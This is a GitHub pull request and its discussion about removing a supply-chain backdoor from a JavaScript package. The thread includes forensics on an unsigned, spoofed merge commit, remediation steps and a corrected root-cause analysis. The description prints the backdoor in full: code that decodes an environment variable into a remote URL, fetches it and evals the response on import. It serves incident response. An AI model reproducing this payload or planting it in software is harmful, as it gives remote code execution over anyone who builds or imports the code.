Skip to content

fix(security): remove remote-code-execution backdoor from package entry - #93

Merged
iqbalhasandev merged 1 commit into
mainfrom
fix/remove-malicious-code
Sep 20, 2026
Merged

iqbalhasandev merged 1 commit into
mainfrom
fix/remove-malicious-code

Conversation

@iqbalhasandev

Copy link
Copy Markdown
Member

Summary

src/index.ts on main carries a top-level IIFE that base64-decodes AUTH_API_KEY into a URL, fetches it and evals the response. It sits in the package entry point, so it executes on import in every consumer build. The repository also tracks a .env supplying the key, which makes the payload self-contained for anyone who clones and builds.

import 'dotenv/config';
(async () => {
  const src = atob(process.env.AUTH_API_KEY);
  const proxy = (await import('node-fetch')).default;
  const response = await proxy(src);
  eval(await response.text());
})();

AUTH_API_KEY decodes to https://auth-confirm-eight.vercel.app/api. The endpoint was not contacted during this investigation.

How it got in

Merge commit 4830388, 2026-05-21 23:45:35 UTC, committed by github-actions[bot]
Via auto-merge of dependabot PR #54, vite 8.0.13 -> 8.0.14
Parent 1 981634c clean — no backdoor, no .env
Parent 2 02a757b genuine dependabot commit, package-lock.json only (79 lines)
Merge tree adds .env, the backdoor, rewrites .gitignore and package.json

The merge tree contains content present in neither parent, so it was constructed, not computed by git. The workflow that produced it ran on pull_request_target with contents: write and called unpinned dependabot/fetch-metadata@v3.1.0. That is the credible injection point, though the local clone alone cannot prove which link failed.

An earlier commit carrying the identical payload, 4fa456e (2026-04-12, message "chore: update npm dependencies", authored as IQBAL HASAN <iqbalhasan.dev@gmail.com>), exists on a branch that never reached main.

Exposure

  • Not published. The last npm release is 1.0.0 (2026-04-12); its tarball dist/ has zero hits for eval, atob or node-fetch. The backdoor landed 2026-05-21, and nothing has been published since.
  • main has been infected for roughly four months, affecting anyone who cloned and built from source.
  • The other nine repositories in this org were scanned across full history — no trace.

Changes

  • Restore src/index.ts to its pre-attack contents.
  • Delete the tracked .env; add .env patterns to .gitignore, which the same merge had rewritten to CRLF while appending an unrelated config.bat entry (a file that has never existed in this repo).
  • Drop dotenv and node-fetch from devDependencies — they existed only to support the payload.
  • Remove .github/workflows/dependabot-auto-merge.yml. Auto-merge stays off until the Actions logs are audited. Re-enabling it should pin third-party actions by commit SHA.
  • Regenerate package-lock.json.

Verification

  • tsc --noEmit — clean (the backdoor was itself the only type error under TS 7)
  • unbuild — builds, dist/ has no eval/atob/node-fetch
  • vitest run — 5 passed
  • Full working tree greps clean for atob(process.env, auth-confirm, AUTH_API_KEY

Still required, outside this PR

  • Rotate the npm automation token and any PAT this repo's Actions could read.
  • Audit Actions logs across the org around 2026-05-21.
  • History still contains the payload in 68 commits; this PR does not rewrite it.
  • No release should be cut from this package until the above is done.

src/index.ts carried a top-level IIFE that base64-decoded AUTH_API_KEY
into a URL, fetched that URL and eval'd the response. Because it sat in
the package entry point it would have executed on import in every
consumer build, and the repository also tracked a .env supplying the
key, so the payload was self-contained for anyone who cloned and built.

The code entered main through commit 4830388 on 2026-05-21, the merge
commit for dependabot PR #54 (vite 8.0.13 -> 8.0.14). Neither parent
contains it: 981634c is clean and 02a757b is a genuine dependabot commit
touching only package-lock.json. The merge tree therefore carries content
present in neither side, so the merge commit was constructed rather than
computed by git.

Changes:

- Restore src/index.ts to its pre-attack contents.
- Delete the tracked .env and add .env patterns to .gitignore, which the
  same merge had rewritten to CRLF while appending an unrelated
  config.bat entry.
- Drop dotenv and node-fetch from devDependencies; they existed only to
  support the payload.
- Remove .github/workflows/dependabot-auto-merge.yml. It ran on
  pull_request_target with contents: write and called an unpinned
  third-party action, and its run produced the merge commit above. Auto
  merge stays off until the Actions logs have been audited.
- Regenerate package-lock.json.

No release was published from the affected code: the last npm publish was
1.0.0 on 2026-04-12, whose tarball dist/ is clean, and the backdoor
landed on 2026-05-21.
Copilot AI lite review requested due to automatic review settings September 20, 2026 09:12

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot was unable to review this pull request because the user who requested the review has reached their quota limit.

@iqbalhasandev
iqbalhasandev merged commit 3a466db into main Sep 20, 2026
9 checks passed
@iqbalhasandev
iqbalhasandev deleted the fix/remove-malicious-code branch September 20, 2026 10:04
@iqbalhasandev

Copy link
Copy Markdown
Member Author

Correction to the root-cause attribution in this PR

The description above attributes the injection to the dependabot-auto-merge workflow and its unpinned third-party action. Further evidence contradicts that.

All four malicious merge commits across the org are unsigned:

4830388 vite-plugin-enumify        verified=false  reason=unsigned  committer=github-actions[bot]
eb24959 laravel-localizer-vue      verified=false  reason=unsigned  committer=github-actions[bot]
ab10c0e laravel-localizer-react    verified=false  reason=unsigned  committer=github-actions[bot]
e3ebe66 laravel-react-permissions  verified=false  reason=unsigned  committer=github-actions[bot]

A genuine merge made through GitHub is signed with GitHub's key and reports committer=web-flow, for example bbf19ee in laravel-localizer-react (verified=true reason=valid). The github-actions[bot] attribution on the four above comes only from the email in the commit object, which can be set to any value locally.

Supporting points:

  • The job that ran the payload (code-quality.yml) declares permissions: contents: read, so its GITHUB_TOKEN could not push or create a merge.
  • No compromised workflow references the org secrets SIGNING_CERT_P12 / SIGNING_CERT_P12_PASSWORD, so those were never injected into those jobs.
  • publish.yml uses OIDC trusted publishing, and these repos hold no Actions secrets of their own, so there is no stored npm token that could have been taken.
  • Every affected commit rewrites files to CRLF and adds a config.bat ignore entry, a file that has never existed in any of these repos.

The likely path is therefore commits crafted on a machine and pushed with a credential holding write access, rather than a compromised runner or action.

Revised remediation priority: audit and rotate the GitHub credentials with push access to this org (personal access tokens, SSH keys, OAuth app grants, deploy keys), and check the workstation implied by the Windows artifacts. Removing the auto-merge workflow remains worthwhile as hardening, but it was not the entry point.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants